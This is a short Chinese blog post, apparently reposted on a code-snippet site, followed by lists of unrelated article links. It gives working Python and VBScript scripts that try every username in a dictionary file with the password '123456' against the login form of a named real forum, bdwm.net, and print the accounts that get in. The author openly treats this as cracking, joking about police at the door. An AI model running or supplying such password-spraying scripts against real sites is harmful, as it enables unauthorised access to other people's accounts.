Python牛刀小试密码爆破


Posted in Python onFebruary 03, 2011

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版

#coding: gbk 
import httplib, urllib def Check(username, password): 
params = urllib.urlencode( 
{'userid': username, 'passwd': password}) 
headers = {"Content-type": 
"application/x-www-form-urlencoded"} 
conn = httplib.HTTPSConnection("www.bdwm.net") 
conn.request("POST", 
"/bbs/bbslog2.php", params, headers) 
res = conn.getresponse().read() 
conn.close() 
if res.find("密码不正确") != -1: 
return False 
elif res.find("不存在这个用户") != -1: 
return False 
else: 
return True 
for i in open("English.Dic"): 
if Check(i.rstrip(),"123456"): 
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso 
Set fso = CreateObject("scripting.filesystemobject") 
With fso.OpenTextFile("English.Dic",1) 
Do Until .AtEndOfStream 
id = .ReadLine 
If Check(id,"123456") Then 
WScript.Echo id & vbTab &"OK" 
End If 
Loop 
End With Function Check(username,password) 
Dim http 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open _ 
"POST","https://www.bdwm.net/bbs/bbslog2.php",False 
http.setRequestHeader _ 
"Content-Type","application/x-www-form-urlencoded" 
http.send "userid=" & username & "&passwd=" & password 
response = AnsiToUnicode(http.responseBody) 
If InStr(response,"密码不正确") Then 
Check = False 
ElseIf InStr(response,"不存在这个用户") Then 
Check = False 
Else 
Check = True 
End If 
End Function 
Function AnsiToUnicode(str) 
Dim ado 
Set ado = CreateObject("adodb.stream") 
ado.Type = 1 
ado.Open 
ado.Write str 
ado.Position = 0 
ado.Type = 2 
ado.Charset = "gb2312" 
AnsiToUnicode = ado.ReadText 
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
Python 相关文章推荐
编写Python小程序来统计测试脚本的关键字
Mar 12 Python
Python 安装setuptools和pip工具操作方法(必看)
May 22 Python
Python数据结构之栈、队列及二叉树定义与用法浅析
Dec 27 Python
浅谈python函数调用返回两个或多个变量的方法
Jan 23 Python
Python文件打开方式实例详解【a、a+、r+、w+区别】
Mar 30 Python
python多线程共享变量的使用和效率方法
Jul 16 Python
Django 自定义分页器的实现代码
Nov 24 Python
解决Python在导入文件时的FileNotFoundError问题
Apr 10 Python
python 使用三引号时容易犯的小错误
Oct 21 Python
python 爬取吉首大学网站成绩单
Jun 02 Python
Python如何导出导入所有依赖包详解
Jun 08 Python
如何用六步教会你使用python爬虫爬取数据
Apr 06 Python
初学python数组的处理代码
Jan 04 #Python
让python json encode datetime类型
Dec 28 #Python
让python的Cookie.py模块支持冒号做key的方法
Dec 28 #Python
python封装对象实现时间效果
Apr 23 #Python
python下函数参数的传递(参数带星号的说明)
Sep 19 #Python
Python 元类使用说明
Dec 18 #Python
Python3 入门教程 简单但比较不错
Nov 29 #Python
You might like
第六节--访问属性和方法
2006/11/16 PHP
一个数据采集类
2007/02/14 PHP
深入eAccelerator与memcached的区别详解
2013/06/06 PHP
Thinkphp多文件上传实现方法
2014/10/31 PHP
php带抄送和密件抄送的邮件发送方法
2015/03/20 PHP
php使用cookie实现记住用户名和密码实现代码
2015/04/27 PHP
PHP SPL标准库中的常用函数介绍
2015/05/11 PHP
PHP CodeIgniter分页实例及多条件查询解决方案(推荐)
2017/05/20 PHP
php实现页面纯静态的实例代码
2017/06/21 PHP
PHPStorm 2020.1 调试 Nodejs的多种方法详解
2020/09/17 NodeJs
HTML中事件触发列表与解说
2007/07/09 Javascript
HTML代码中标签的全部属性 中文注释说明
2009/03/26 Javascript
javascript重写alert方法的实例代码
2013/03/29 Javascript
SOSO地图JS画出标注和中心点以html形式运行
2013/08/09 Javascript
使用不同的方法结合/合并两个JS数组
2014/09/18 Javascript
JavaScript将数字转换成大写中文的方法
2015/03/23 Javascript
JS处理json日期格式化问题
2015/10/01 Javascript
纯js实现瀑布流布局及ajax动态新增数据
2016/04/07 Javascript
vue2.0实现分页组件的实例代码
2017/06/22 Javascript
Three.js利用性能插件stats实现性能监听的方法
2017/09/25 Javascript
AngularJS 教程及实例代码
2017/10/23 Javascript
使用vue-router与v-if实现tab切换遇到的问题及解决方法
2018/09/07 Javascript
利用百度echarts实现图表功能简单入门示例【附源码下载】
2019/06/10 Javascript
微信小程序bindtap事件与冒泡阻止详解
2019/08/08 Javascript
python贪婪匹配以及多行匹配的实例讲解
2018/04/19 Python
连接pandas以及数组转pandas的方法
2019/06/28 Python
解决python中import文件夹下面py文件报错问题
2020/06/01 Python
个人求职信范文分享
2013/12/13 职场文书
自行车租赁公司创业计划书
2014/01/28 职场文书
公司活动方案范文
2014/03/06 职场文书
实用的简历自我评价
2014/03/06 职场文书
高中教师考核方案
2014/05/18 职场文书
委托书格式
2014/08/01 职场文书
工作迟到检讨书范文
2015/05/06 职场文书
《鲁滨逊漂流记》之六读后感(4篇)
2019/09/29 职场文书
SQL Server中交叉联接的用法详解
2021/04/22 SQL Server